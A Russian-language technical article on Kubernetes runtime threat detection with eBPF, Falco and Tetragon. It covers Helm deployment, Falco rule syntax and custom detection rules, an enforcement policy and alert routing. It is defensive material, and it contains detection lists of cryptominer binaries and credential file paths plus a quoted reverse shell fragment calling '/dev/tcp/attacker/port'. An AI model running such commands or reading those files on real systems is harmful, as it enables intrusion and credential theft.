Admission controller отклонил pod с
privileged: true. Image scanner нашёл CVE в базовом образе. Network Policy запретила egress в интернет. Всё по книжке - и всё это не помогло, когда атакующий зашёл через RCE в приложении, работающем под непривилегированным пользователем в минимальном контейнере. Потому что CVE была не в образе, а в зависимости runtime, network policy разрешала DNS, а admission controller вообще не про это.Shift-left - хорошая идея, пока не столкнёшься с атакой, которая проходит через все предварительные проверки. Runtime security - это единственный слой, который видит, что процесс внутри контейнера реально делает после запуска. И в Kubernetes-кластере это означает наблюдение за системными вызовами на каждой ноде.
eBPF как фундамент runtime-наблюдения
Системные вызовы - точка, через которую любой userspace-процесс взаимодействует с ядром: открытие файлов, сетевые соединения, порождение процессов, смена привилегий. Если контейнер делает execve("/bin/sh"), connect() на внешний IP или open("/etc/shadow") - всё это проходит через syscall-интерфейс ядра. Задача runtime security - перехватывать эти вызовы, обогащать контекстом (какой pod, namespace, образ) и оценивать по правилам.До eBPF для этого использовались kernel modules (быстро, но рискованно - баг в модуле может уронить ядро) и auditd/ptrace (безопасно, но медленно и ограниченно). eBPF дал третий вариант: программы загружаются в ядро, проходят через verifier, который гарантирует завершаемость и безопасность обращений к памяти, и выполняются JIT-компилятором с производительностью, близкой к нативному коду.
Для security-инструментов в eBPF критичны два механизма. Tracepoints - статические точки инструментации в ядре: raw_syscalls:sys_enter и raw_syscalls:sys_exit позволяют перехватить вход и выход из любого системного вызова. Kprobes - динамическое подключение к произвольным функциям ядра, включая do_mkdirat, fd_install, __sys_setresuid и т.д. Данные из eBPF-программ передаются в userspace через per-CPU ring buffer или BPF maps. Userspace-компонент читает события, обогащает их метаданными (из /proc, cgroup, Kubernetes API) и применяет правила.
Ключевое ограничение - eBPF-программы привязаны к версии ядра. Структуры ядра меняются между релизами, и программа, скомпилированная для одного ядра, может не работать на другом. Технология CO-RE (Compile Once - Run Everywhere) решает это через BTF (BPF Type Format): компилятор генерирует релокации для доступа к полям структур, а загрузчик подставляет корректные смещения для текущего ядра. Для CO-RE нужно ядро 5.8+ с включённым CONFIG_DEBUG_INFO_BTF.
Пока Kyverno режет опасные манифесты и плохие практики на входе, Falco и Tetragon подхватывают уже другую задачу - наблюдать, что процесс реально делает после старта. Об этом мы рассказали в статье: Kubernetes Admission Controllers: Использование Kyverno для enforcement security policies.
Falco: архитектура и три типа драйвера
Falco - CNCF-graduated проект для runtime threat detection. Архитектура: драйвер собирает сырые события из ядра → библиотека libscap передаёт их в userspace → libsinsp обогащает контекстом (контейнер, pod, namespace, образ) → rule engine оценивает каждое событие по набору правил → при срабатывании формируется алерт.С версии 0.38 дефолтный драйвер - Modern eBPF, использующий CO-RE. В 0.43 legacy eBPF probe объявлен deprecated. Сейчас актуальны три варианта:
Modern eBPF probe (engine.kind=modern_ebpf) - встроен в бинарник Falco, не требует отдельной сборки или загрузки. Работает на ядрах 5.8+ с BTF. Нужен на ноде: ядро с CONFIG_DEBUG_INFO_BTF=y, что выполняется на большинстве современных дистрибутивов (Ubuntu 20.10+, Amazon Linux 2023, Flatcar). Это предпочтительный вариант для новых инсталляций.
Kernel module (engine.kind=kmod) - классический .ko-модуль, перехватывает syscalls через static tracepoints. Работает на ядрах 3.10+, покрывая legacy-инфраструктуру. Минусы: нужна сборка под конкретный kernel release (или предсобранный модуль из репозитория Falco), загрузка модуля требует привилегий и может быть запрещена политикой безопасности ноды. На managed Kubernetes (GKE, некоторые конфигурации EKS) загрузка kernel modules заблокирована.
Legacy eBPF probe (engine.kind=ebpf) - deprecated с 0.43, будет удалён в одном из следующих релизов. Требовал компиляции под каждую версию ядра. Если вы на нём, переключайтесь лучше на Modern eBPF.
Каждое событие кодируется в формате ppm_evt_hdr: timestamp (наносекунды), TID потока, тип события, количество параметров и payload. Userspace-часть Falco читает поток из per-CPU ring buffer, парсит параметры (file descriptors, аргументы execve, адреса connect) и строит process tree.
Установка через Helm: что настроить до деплоя
Код:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco \
--namespace falco \
--create-namespace \
--set tty=true \
--set falcosidekick.enabled=true \
--set falcosidekick.webui.enabled=true
Falco деплоится как DaemonSet - по одному pod на каждую ноду. Это принципиально: события собираются на уровне ядра хоста, поэтому Falco должен работать на каждой ноде, где есть наблюдаемые workloads.
Дефолтный Helm chart выставляет resource limits: requests cpu: 100m, memory: 512Mi, limits cpu: 1, memory: 1Gi. Для production-кластера эти значения - отправная точка, но не финальные. Реальное потребление CPU зависит от интенсивности syscall-потока на ноде. База данных, генерирующая тысячи I/O-операций в секунду, создаёт куда больше событий, чем stateless API-сервис. На нагруженных нодах с СУБД Falco может упираться в 1 CPU.
Три момента, которые часто упускают при деплое:
Tolerations. Если в кластере есть ноды с taints (GPU-ноды, dedicated-ноды), DaemonSet Falco на них не попадёт без соответствующих tolerations. Не попал - не видит, что на ноде происходит. В values.yaml:
YAML:
tolerations:
- operator: "Exists"
Docker Hub rate limits. DaemonSet тянет образ на каждую ноду. При 50+ нодах без аутентификации в Docker Hub или без mirror-registry можно упереться в rate limit. Рекомендация - использовать ECR/GCR-зеркало или public ECR-образ: public.ecr.aws/falcosecurity/falco.
Правила Falco: синтаксис, macros и lists
Правило Falco - YAML-объект с обязательными полями: rule (имя), condition (булево выражение над полями события), output (шаблон алерта), priority (уровень). Condition пишется на фильтровом языке, близком к tcpdump/Wireshark-синтаксису.
YAML:
- rule: Shell in Container
desc: Detect shell execution inside a container
condition: >
evt.type in (execve, execveat)
and container.id != host
and proc.name in (bash, sh, zsh, csh, ksh)
output: >
Shell spawned in container
(user=%user.name container=%container.name
shell=%proc.name parent=%proc.pname
cmdline=%proc.cmdline
image=%container.image.repository
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: WARNING
tags: [container, shell, mitre_execution]
Macros позволяют вынести повторяющиеся куски условий:
YAML:
- macro: container
condition: (container.id != host)
- macro: spawned_process
condition: (evt.type in (execve, execveat))
Lists - именованные наборы значений:
YAML:
- list: shell_binaries
items: [bash, sh, zsh, csh, ksh, tcsh]
- list: sensitive_files
items: [/etc/shadow, /etc/sudoers, /etc/pam.d]
YAML:
# custom-rules.yaml: отключить шумное правило
- rule: Read sensitive file trusted after startup
enabled: false
Кастомные правила: четыре сценария детектирования
Container escape через nsenter или mount
Побег из контейнера часто начинается с попытки получить доступ к namespace'ам хоста. nsenter позволяет войти в namespace другого процесса, mount - подцепить файловую систему хоста. Оба действия видны через execve:
YAML:
- macro: container
condition: (container.id != host)
- macro: spawned_process
condition: (evt.type in (execve, execveat))
- rule: Container Escape via nsenter or mount
desc: Detect attempts to escape container via nsenter or mount of host paths
condition: >
spawned_process and container
and (proc.name = nsenter
or (proc.name = mount
and proc.args contains "/host"))
output: >
Possible container escape attempt
(user=%user.name command=%proc.cmdline
container=%container.name
image=%container.image.repository
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [container, mitre_privilege_escalation]
Cryptominer: подозрительный бинарник и пулы
Криптомайнер в контейнере - один из самых частых последствий компрометации. Два основных паттерна: запуск известного бинарника (xmrig, minerd, cgminer) и сетевое подключение к mining pool.
YAML:
- list: miner_binaries
items: [xmrig, minerd, minergate-cli, cgminer, bfgminer, ethminer, cpuminer]
- list: miner_pool_ports
items: [3333, 4444, 5555, 7777, 8888, 9999, 14444, 14433]
- rule: Cryptocurrency Miner Detected
desc: Known cryptominer binary execution or connection to mining pool port
condition: >
(spawned_process and container
and proc.name in (miner_binaries))
or
(evt.type = connect and container
and fd.sport in (miner_pool_ports))
output: >
Cryptominer activity detected
(proc=%proc.name cmdline=%proc.cmdline
container=%container.name
image=%container.image.repository
connection=%fd.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [cryptominer, mitre_execution, mitre_impact]
Reverse shell
Reverse shell - классический post-exploitation приём. Процесс, stdin/stdout которого подключены к сетевому сокету, - главный признак:
YAML:
- rule: Reverse Shell in Container
desc: Detect process with stdin/stdout connected to network socket
condition: >
spawned_process and container
and proc.name in (bash, sh, zsh, dash, ash)
and (fd.type = ipv4 or fd.type = ipv6)
and fd.name != ""
and proc.pname != sshd
output: >
Reverse shell detected
(proc=%proc.name cmdline=%proc.cmdline
connection=%fd.name user=%user.name
container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [network, mitre_execution, mitre_command_and_control]
-i >& /dev/tcp/attacker/port 0>&1 и python -c 'import socket...'. В первом случае Falco увидит execve bash с характерными аргументами, во втором - execve python и затем connect() к внешнему адресу. Дефолтный набор правил Falco содержит правило "Redirect STDOUT/STDIN to Network Connection in Container", которое покрывает базовый кейс, но для python/perl/ruby-вариантов reverse shell нужны дополнительные правила.Чтение чувствительных файлов
YAML:
- list: sensitive_file_paths
items: [/etc/shadow, /etc/sudoers, /root/.ssh, /root/.bash_history,
/var/run/secrets/kubernetes.io]
- rule: Sensitive File Read in Container
desc: Detect read of sensitive files inside container
condition: >
evt.type in (open, openat, openat2)
and container
and fd.name pmatch (sensitive_file_paths)
and not proc.name in (login, sshd, passwd, su, sudo)
output: >
Sensitive file accessed
(file=%fd.name proc=%proc.name user=%user.name
container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: WARNING
tags: [filesystem, mitre_credential_access, mitre_discovery]
Tetragon: enforcement на уровне ядра
Falco - инструмент обнаружения. Он видит событие, оценивает правило, генерирует алерт и отправляет его в userspace. Между моментом, когда syscall произошёл, и моментом, когда алерт дошёл до оператора, проходит время. Tetragon (проект Cilium, CNCF) закрывает этот gap: он не только наблюдает, но и может заблокировать операцию прямо в ядре.Tetragon использует eBPF kprobes и tracepoints для перехвата событий, но добавляет in-kernel actions: при совпадении с политикой программа может отправить SIGKILL процессу или подменить return value системного вызова (через bpf_override_return, требует CONFIG_BPF_KPROBE_OVERRIDE). Решение принимается в ядре, без round-trip в userspace - нет TOCTOU race condition.
Политики описываются через CRD TracingPolicy:
YAML:
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: block-sensitive-file-write
spec:
kprobes:
- call: "sys_openat"
syscall: true
args:
- index: 0
type: "int"
- index: 1
type: "string"
- index: 2
type: "int"
selectors:
- matchArgs:
- index: 1
operator: "Equal"
values:
- "/etc/shadow"
- index: 2
operator: "Mask"
values:
- "2" # O_RDWR или O_WRONLY
matchActions:
- action: Sigkill
Tetragon Kubernetes-aware: TracingPolicyNamespaced ограничивает область действия конкретным namespace, containerSelector позволяет таргетировать политику на конкретные контейнеры по имени, podSelector - на pod'ы по лейблам.
Различия Falco и Tetragon в табличном виде не передать - проще через задачу. Falco хорош как wide-coverage detection: сотни правил из коробки, зрелый rule language с macros/lists/exceptions, 50+ интеграций через Falcosidekick. Tetragon - для точечного enforcement: вы точно знаете, что конкретный syscall с конкретными аргументами в конкретном namespace не должен происходить, и хотите гарантию, что он не произойдёт. В production часто стоят оба: Falco для широкого мониторинга, Tetragon для enforce'а критичных политик.
Предупреждение по Tetragon: если собираетесь писать TracingPolicy нужно понимание kernel API. Вы работаете с kprobes, аргументами syscalls, типами данных ядра. Некорректный matchArgs или не тот индекс аргумента - и политика либо не работает, либо ломает легитимные процессы. В документации Tetragon говорят прямо: "requires knowledge about the Linux kernel and containers to avoid unexpected issues such as TOCTOU bugs". Тестируйте сначала без Sigkill, только с Post (генерация события), и лишь убедившись в точности - включайте enforcement.
Falcosidekick: маршрутизация алертов
Falco из коробки умеет писать в stdout, syslog, файл и HTTP webhook. Для production-пайплайна этого мало. Falcosidekick - fanout-прокси, который принимает алерты от Falco по HTTP и маршрутизирует их в 50+ направлений: Slack, PagerDuty, Elasticsearch, Kafka, AWS SNS/SQS/Security Hub, Loki, Datadog, OpsGenie, webhook и др.Деплой вместе с Falco через Helm:
Код:
helm install falco falcosecurity/falco \
--namespace falco \
--create-namespace \
--set falcosidekick.enabled=true \
--set falcosidekick.webui.enabled=true
Конфигурация маршрутизации по приоритетам:
YAML:
# falcosidekick values
config:
customfields:
cluster: "prod-us-east-1"
environment: "production"
slack:
webhookurl: "https://hooks.slack.com/services/XXX/YYY/ZZZ"
channel: "#security-alerts"
minimumpriority: "warning"
pagerduty:
routingkey: "<integration-key>"
minimumpriority: "critical"
elasticsearch:
hostport: "http://elasticsearch:9200"
index: "falco-alerts"
minimumpriority: "informational"
customfields добавляют к каждому алерту произвольные метаданные. Имя кластера и окружения - минимум, без которого при нескольких кластерах невозможно понять, откуда пришёл алерт.
Falcosidekick отдаёт собственные метрики в Prometheus-формате на /metrics: falco_sidekick_events_total (входящие события), falco_sidekick_outputs_total с лейблами destination и status. Если PagerDuty-интеграция молча сломалась - вы узнаете из метрик, а не из постмортема.
Тюнинг: false positives, exceptions и performance
False positives - главная боль runtime security. Правило "Shell in Container" срабатывает на контейнерах, где shell запускается легитимно: init-контейнеры с bash-скриптами, CronJob'ы, helm-test pod'ы, readiness probes через shell exec. Если не тюнить, за сутки наберутся сотни ложных срабатываний, и команда перестанет смотреть в алерты.Три подхода к управлению false positives:
Override через user macros. Многие дефолтные правила Falco содержат macro вида user_known_shell_in_container_activities, по умолчанию установленный в (never_true). Переопределяя его в кастомном файле, можно добавить исключения:
YAML:
- macro: user_known_shell_in_container_activities
condition: >
(container.image.repository = "registry.internal/infra/init-scripts"
or k8s.ns.name = "ci-runners")
YAML:
- rule: Terminal Shell in Container
exceptions:
- name: known_init_containers
fields: [container.image.repository]
comps: [=]
values:
- [registry.internal/infra/init-scripts]
- name: ci_namespace
fields: [k8s.ns.name]
comps: [=]
values:
- [ci-runners]
Мониторинг самого Falco
Falco отдаёт внутренние метрики через libsinsp в prometheus-формате (включается в falco.yaml). Ключевые метрики:- falco_events_total - количество обработанных событий. Резкий рост означает аномальную активность на ноде или syscall storm.
- falco_kernel_drops_total - события, потерянные на уровне ring buffer. Если ядро генерирует события быстрее, чем Falco их читает, кольцевой буфер переполняется. Ненулевые drops - сигнал, что нужно либо увеличить буфер (falco.buf_size_preset), либо разгрузить правила, либо добавить CPU.
- CPU и memory самого pod'а через стандартные Kubernetes-метрики.
Мы уже поняли, что runtime detection нужен не вместо других контролей, а потому что контейнерный рантайм сам по себе давно стал зоной риска, в статье: Kubernetes security 2025: что изменили новые уязвимости в runc и контейнерах мы продолжили мысль: контейнер - это не автоматическая изоляция, а тонкий слой над общим ядром, и ошибки в рантайме быстро поднимают ставку с компрометации одного workload до риска для всей ноды и кластера.
Чего runtime security не закрывает
eBPF-based runtime detection видит syscall-уровень. Это мощно, но не всемогуще. Атаки, которые не генерируют характерных syscall-паттернов - data exfiltration через легитимный HTTP-канал, business logic abuse, supply chain compromise на уровне зависимостей без видимых индикаторов - не ловятся правилами Falco.Runtime security - не замена, а дополнение к network policies, admission control, image scanning и audit logging. Falco видит то, что другие слои пропускают: что процесс реально делает после запуска. Но он видит это через призму системных вызовов, и атака, которая умещается в рамки "нормального" syscall-профиля приложения, останется невидимой до тех пор, пока правила не станут достаточно специфичными для конкретного workload.
Вложения
Последнее редактирование: